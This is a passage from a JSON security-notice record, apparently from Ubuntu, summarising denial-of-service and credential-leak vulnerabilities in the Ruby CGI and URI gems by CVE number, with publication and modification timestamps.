remote attacker could possibly use\nthis issue to consume memory, leading to a denial of service. This issue\nonly affected Ubuntu 24.04 LTS, and Ubuntu 24.10. (CVE-2025-25186)\n\nIt was discovered that the Ruby CGI gem incorrectly handled parsing certain\ncookies. A remote attacker could possibly use this issue to consume\nresources, leading to a denial of service. (CVE-2025-27219)\n\nIt was discovered that the Ruby CGI gem incorrectly handled parsing certain\nregular expressions. A remote attacker could possibly use this issue to\nconsume resources, leading to a denial of service. (CVE-2025-27220)\n\nIt was discovered that the Ruby URI gem incorrectly handled certain URI\nhandling methods. A remote attacker could possibly use this issue to leak\nauthentication credentials. (CVE-2025-27221)\n","status":"published","published":"2025-04-07T13:55:18Z","modified":"2026-04-27T18:02:26.605127452Z","updated_at":"2026-11-02T16:58:19.988474Z"}]}}